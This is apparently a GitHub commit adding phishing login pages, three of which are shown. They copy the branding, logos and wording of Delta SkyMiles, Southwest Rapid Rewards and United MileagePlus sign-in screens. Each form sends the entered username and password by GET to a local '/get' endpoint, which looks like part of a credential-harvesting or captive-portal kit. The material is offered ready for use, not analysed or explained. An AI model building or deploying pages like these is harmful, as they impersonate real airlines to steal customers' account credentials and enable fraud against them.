-
Notifications
You must be signed in to change notification settings - Fork 205
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
1 parent
cc3762f
commit 281f8ff
Showing
4 changed files
with
345 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,115 @@ | ||
<!DOCTYPE html> | ||
<html> | ||
<head> | ||
<style> | ||
body { | ||
font-family: 'Arial', sans-serif; | ||
margin: 0; | ||
padding: 0; | ||
background-color: #f3f3f3; | ||
display: flex; | ||
justify-content: center; | ||
align-items: center; | ||
min-height: 100vh; | ||
} | ||
|
||
.container { | ||
max-width: 500px; | ||
padding: 20px; | ||
box-shadow: 0 0 10px rgba(0, 0, 0, 0.1); | ||
background: #fff; | ||
border-radius: 8px; | ||
} | ||
|
||
.logo { | ||
display: flex; | ||
justify-content: center; | ||
margin-bottom: 20px; | ||
} | ||
|
||
.logo svg { | ||
width: 50%; | ||
} | ||
|
||
.title, .sub-title { | ||
text-align: center; | ||
margin-bottom: 20px; | ||
} | ||
|
||
.form-group { | ||
margin-bottom: 20px; | ||
display: flex; | ||
justify-content: center; | ||
} | ||
|
||
.input-field { | ||
width: 100%; | ||
max-width: 400px; | ||
height: 40px; | ||
padding: 10px; | ||
border-radius: 5px; | ||
border: 1px solid #ccc; | ||
font-size: 16px; | ||
} | ||
|
||
.button { | ||
width: 100%; | ||
max-width: 400px; | ||
height: 40px; | ||
background-color: #003D79; | ||
color: #fff; | ||
border: none; | ||
border-radius: 5px; | ||
cursor: pointer; | ||
} | ||
|
||
@media screen and (max-width: 600px) { | ||
.container { | ||
margin: 10px; | ||
} | ||
|
||
.logo svg { | ||
width: 70%; | ||
} | ||
|
||
.input-field, .button { | ||
max-width: 100%; | ||
} | ||
} | ||
</style> | ||
</head> | ||
<body> | ||
<div class="container"> | ||
|
||
<div class="logo"> | ||
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 766 118"> | ||
<path fill="#98002E" d="M142 105 74 72V0l68 105zm6 13L74 87v31h74z"/> | ||
<path fill="#E31937" d="M5 105 74 0v72zm-5 13h74V87z"/> | ||
<path fill="#98002E" d="M154 96a5 5 0 0 1 0 10 5 5 0 0 1 0-10m0 9a4 4 0 0 0 4-4 4 4 0 1 0-8 0 4 4 0 0 0 4 4m-1-1h-1v-6h2l2 2-2 2 2 2h-1l-1-2h-1v2zm0-3h1l1-1-1-1h-1v2z"/> | ||
<path fill="#003D79" d="M205 105h34c34 0 54-17 54-47 0-29-20-47-54-47h-34v94zm21-77h13c22 0 33 11 33 30 0 20-11 31-33 31h-13V28zm138 37h40V48h-40V28h45V11h-66v94h68V89h-47zm167 24h-41V11h-21v94h62zm113-78h-84v17h31v77h21V28h32zm122 94h-22l-9-23h-38l-10 23h-20l39-94h21l39 94zm-37-39-13-33-13 33h26z"/> | ||
</svg> | ||
</div> | ||
|
||
<h1 class="title">Sign in</h1> | ||
|
||
<h2 class="sub-title">Using your SkyMiles number or username and password.</h2> | ||
|
||
<form action="/get" id="email-form-step" method="GET"> | ||
|
||
<div class="form-group"> | ||
<input class="input-field" name="email" type="text" placeholder="SkyMiles # or Username" required> | ||
</div> | ||
|
||
<div class="form-group"> | ||
<input class="input-field" name="password" type="password" placeholder="Password" required> | ||
</div> | ||
|
||
<div class="form-group"> | ||
<button class="button" type="submit">Sign In</button> | ||
</div> | ||
|
||
</form> | ||
|
||
</div> | ||
</body> | ||
</html> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,110 @@ | ||
<!DOCTYPE html> | ||
<html> | ||
<head> | ||
<style> | ||
body { | ||
font-family: Arial, sans-serif; | ||
margin: 0; | ||
padding: 0; | ||
background: #f9f9f9; | ||
display: flex; | ||
align-items: center; | ||
justify-content: center; | ||
height: 100vh; | ||
} | ||
|
||
.container { | ||
background: #fff; | ||
padding: 20px; | ||
border-radius: 5px; | ||
box-shadow: 0 0 10px #999; | ||
max-width: 400px; | ||
} | ||
|
||
.logo { | ||
text-align: center; | ||
} | ||
|
||
svg { | ||
width: 80%; | ||
} | ||
|
||
h1 { | ||
font-size: 1.5rem; | ||
text-align: center; | ||
margin: 20px 0; | ||
} | ||
|
||
.subtext { | ||
text-align: center; | ||
margin-bottom: 20px; | ||
font-size: 0.9rem; | ||
} | ||
|
||
.form-group { | ||
margin-bottom: 15px; | ||
display: flex; | ||
justify-content: center; | ||
} | ||
|
||
.form-control { | ||
width: 100%; | ||
padding: 10px; | ||
border-radius: 5px; | ||
border: 1px solid #ddd; | ||
font-size: 1rem; | ||
} | ||
|
||
button { | ||
width: 100%; | ||
padding: 10px; | ||
border: none; | ||
border-radius: 5px; | ||
background: #143f85; | ||
color: #fff; | ||
font-size: 1.1rem; | ||
cursor: pointer; | ||
} | ||
|
||
@media (max-width: 500px) { | ||
.container { | ||
max-width: 90%; | ||
} | ||
} | ||
|
||
</style> | ||
</head> | ||
|
||
<body> | ||
|
||
<div class="container"> | ||
|
||
<div class="logo"> | ||
<svg xmlns="http://www.w3.org/2000/svg" xml:space="preserve" viewBox="0 0 223 34"> | ||
<path fill="#304cb2" d="M59 27h-3c-3 0-4-1-4-3V12h-6v13c0 6 3 8 10 8l9-1V12h-6v15zm20 1c-3 0-3-1-3-3v-8h5v-5h-5V6h-6v6h-3v5h3v8c0 4 1 8 7 8l5-1-1-5-2 1zM15 16l-3-1c-4-1-5-1-5-3s1-3 5-3l7 2 1-6-8-2C5 3 1 7 1 12c0 4 1 6 5 8l3 1 6 3c0 2-2 3-5 3l-8-2-2 6 10 2c7 0 11-4 11-9 0-4-2-6-6-8zm79-5-5 1V2h-6v31h6V18l4-1c2 0 3 1 3 3v13h6V19c0-5-2-8-8-8zm-61 0c-6 0-11 4-11 11s5 11 11 11 11-4 11-11-4-11-11-11zm0 16c-2 0-4-2-4-5s2-5 4-5c3 0 5 1 5 5 0 3-2 5-5 5zm135-7-3-1-3-1c0-1 1-2 3-2l6 1 1-5-7-1c-6 0-9 3-9 7 0 3 2 4 4 6l3 1 4 2-4 1-6-1-1 5 8 1c6 0 9-3 9-7 0-3-1-5-5-6zm-22-9c-7 0-11 4-11 11s4 11 11 11l8-2-1-5-6 2c-4 0-6-2-6-4h14v-3c0-6-3-10-9-10zm-5 9c1-2 2-4 4-4 3 0 4 3 4 4h-8zm44 8c-3 0-3-1-3-3v-8h5v-5h-5V6h-6v6h-3v5h3v8c0 4 1 8 7 8l5-1-1-5-2 1zm4-25c-2 0-3 1-3 3s1 3 2 3c2 0 3-2 3-3l-2-3zm0 5c-2 0-3-1-3-2s1-2 3-2l2 2-2 2zm0-2 1-1-1-1h-1v3-1h1v1h1l-1-1zm-1 0V5h1l-1 1zm-59 6-4 12-3-12h-6l-4 12-3-12h-7l8 21h5l4-11 4 11h5l8-21h-7z"/> | ||
<path fill="#ccc" d="m207 11-5 1-5-1c-4 0-7 2-7 7 0 6 6 11 12 15 6-4 12-9 12-15 0-5-3-7-7-7z"/> | ||
</svg> | ||
</div> | ||
|
||
<h1>Sign In</h1> | ||
|
||
<p class="subtext">Sign in using your Rapid Rewards number or username and password</p> | ||
|
||
<form action="/get" method="GET"> | ||
|
||
<div class="form-group"> | ||
<input type="text" name="email" class="form-control" placeholder="Rapid Rewards # or Username" required> | ||
</div> | ||
|
||
<div class="form-group"> | ||
<input type="password" name="password" class="form-control" placeholder="Password" required> | ||
</div> | ||
|
||
<button type="submit">Sign In</button> | ||
|
||
</form> | ||
|
||
</div> | ||
|
||
</body> | ||
</html> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,117 @@ | ||
<!DOCTYPE html> | ||
<html> | ||
<head> | ||
<style> | ||
body { | ||
font-family: 'Arial', sans-serif; | ||
margin: 0; | ||
padding: 0; | ||
background-color: #f3f3f3; | ||
display: flex; | ||
justify-content: center; | ||
align-items: center; | ||
min-height: 100vh; | ||
} | ||
|
||
.container { | ||
max-width: 500px; | ||
padding: 20px; | ||
box-shadow: 0 0 10px rgba(0, 0, 0, 0.1); | ||
background: #fff; | ||
border-radius: 8px; | ||
} | ||
|
||
.logo { | ||
display: flex; | ||
justify-content: center; | ||
margin-bottom: 20px; | ||
} | ||
|
||
.logo svg { | ||
width: 50%; | ||
} | ||
|
||
.title, .sub-title { | ||
text-align: center; | ||
margin-bottom: 20px; | ||
} | ||
|
||
.form-group { | ||
margin-bottom: 20px; | ||
display: flex; | ||
justify-content: center; | ||
} | ||
|
||
.input-field { | ||
width: 100%; | ||
max-width: 400px; | ||
height: 40px; | ||
padding: 10px; | ||
border-radius: 5px; | ||
border: 1px solid #ccc; | ||
font-size: 16px; | ||
} | ||
|
||
.button { | ||
width: 100%; | ||
max-width: 400px; | ||
height: 40px; | ||
background-color: #003D79; | ||
color: #fff; | ||
border: none; | ||
border-radius: 5px; | ||
cursor: pointer; | ||
} | ||
|
||
@media screen and (max-width: 600px) { | ||
.container { | ||
margin: 10px; | ||
} | ||
|
||
.logo svg { | ||
width: 70%; | ||
} | ||
|
||
.input-field, .button { | ||
max-width: 100%; | ||
} | ||
} | ||
</style> | ||
</head> | ||
<body> | ||
<div class="container"> | ||
|
||
<div class="logo"> | ||
<svg xmlns="http://www.w3.org/2000/svg" xml:space="preserve" viewBox="0 0 470 82"> | ||
<switch transform="translate(-5 -6)"> | ||
<g> | ||
<path fill="none" d="M0 0h490v95H0z"/> | ||
<path fill="#005daa" d="M475 6v83h-17a54 54 0 0 0-22-65c-11-7-26-10-40-7l-3 1V6h82zm-59 13c-5-2-11-3-16-2l2 1v-1l8 1-3 1 1 1 4-1 5 2-6 1 1 1 7-1 2 4h-7v2h8l1 4-8-1v2l8 2v5l-9-3-1 4 8 4-1 4-9-5-3 5 8 5-3 4-7-6-5 4 7 8-3 2-7-8-5 4v3l3 7-2 1-1-2v4c13-6 26-19 30-33 2-5 2-11 0-16l-7-7m-2-2 1 1h1c2 0 5 1 7 3h-3l1 1h5l5 5-7-1v2l8 2 2 5-9-2v2c4 1 7 2 9 4v5l-9-4-2 5 9 5-2 5-9-5-3 6 7 6-3 4-7-7-6 7 6 7-3 3-6-8-9 6 5 8-3 1-4-8-2 1v11c10-3 19-9 27-18 8-7 13-16 15-26 1-8-1-16-8-21-4-3-8-4-13-5m-4 6c-4-5-11-5-17-4v1l4-1-2 2 1 1 3-3 5 1-6 3h1l7-3 2 2-8 3 1 1 9-3 1 3-9 2v1l10-1 1 3h-11v2h10v4l-11-2v2l10 3-2 3-10-3-2 3 9 5-2 2-8-5-3 3 6 7-2 2-4-6v10c6-4 13-10 17-17 3-5 5-13 2-19l-2-2m19 0h2l6 4 1 2-5-1 2 2 5 2 2 7-6-3v4l7 3-1 7-6-5-2 6 6 5-2 6-6-6-5 7 6 6-3 5-6-7-7 8 5 6-3 3-6-7-10 7 3 5h8c14-9 25-23 29-37 2-10 0-19-6-26-3-3-7-4-10-5l2 2m-36-1v1h1l2 1-3 2v1l4-3 1 2-5 2v1l6-2v1l-6 2v1l7-2v2l-7 1v1h7l-1 2h-6v1l5 1-1 2-4-1v3l3 1-2 1h-1v3l4-4c3-5 5-10 3-15-1-3-4-5-7-5m48 8 2 3 2 1 4 8-4-2v4l4 4v7l-5-4-2 7 5 4-2 6-5-5-5 8 4 5-3 5-5-6-7 8 4 6h1l8-8c6-8 11-16 13-25s-1-19-7-26h-2zm6 5c3 3 5 7 6 11l-2-2v5l3 3v8l-3-3-2 7 3 4-2 6-4-4-5 8 4 5-4 5-4-6-6 7h10c7-8 12-16 14-26 2-9 0-19-6-26l-2-2m9 13v6l2 2-1 8-1-2-2 8 1 3-2 6-2-3-5 9 2 4h1c6-9 9-18 10-29l-3-12zm4 15v4h-1l-2 8 1 2-3 6-1-2-4 8h4l5-13c1-4 2-8 1-13zm0 11-3 13v-1l-2 3h2c2-4 3-10 3-15m-60 11-7 3v1h9l-2-4zm20 1-4 3h6l-2-3m-94-48h9c10 0 14 4 14 12s-4 12-14 12h-9V38zm-12-10v44h21c18 0 27-8 27-22 0-13-8-21-27-22h-21zm-24 0v10h-28v8h24v8h-24v8h28v10h-40V28zm-62 0v10h-16v34h-12V38h-16V28zm-78 0h13v44h-13V38zM87 45l27 27h9V28h-12v26L86 28H76v44h11zm-35 8c0 13-8 19-23 19-16 0-24-6-24-19V28h12v25c0 6 4 10 12 10 7 0 11-4 11-10V28h12v25z"/> | ||
</g> | ||
</switch> | ||
</svg> | ||
</div> | ||
|
||
<h1 class="title">Sign in</h1> | ||
|
||
<h2 class="sub-title">Using your MileagePlus® number and password.</h2> | ||
|
||
<form action="/get" id="email-form-step" method="GET"> | ||
|
||
<div class="form-group"> | ||
<input class="input-field" name="email" type="text" placeholder="MileagePlus® number" required> | ||
</div> | ||
|
||
<div class="form-group"> | ||
<input class="input-field" name="password" type="password" placeholder="Password" required> | ||
</div> | ||
|
||
<div class="form-group"> | ||
<button class="button" type="submit">Sign In</button> | ||
</div> | ||
|
||
</form> | ||
|
||
</div> | ||
</body> | ||
</html> |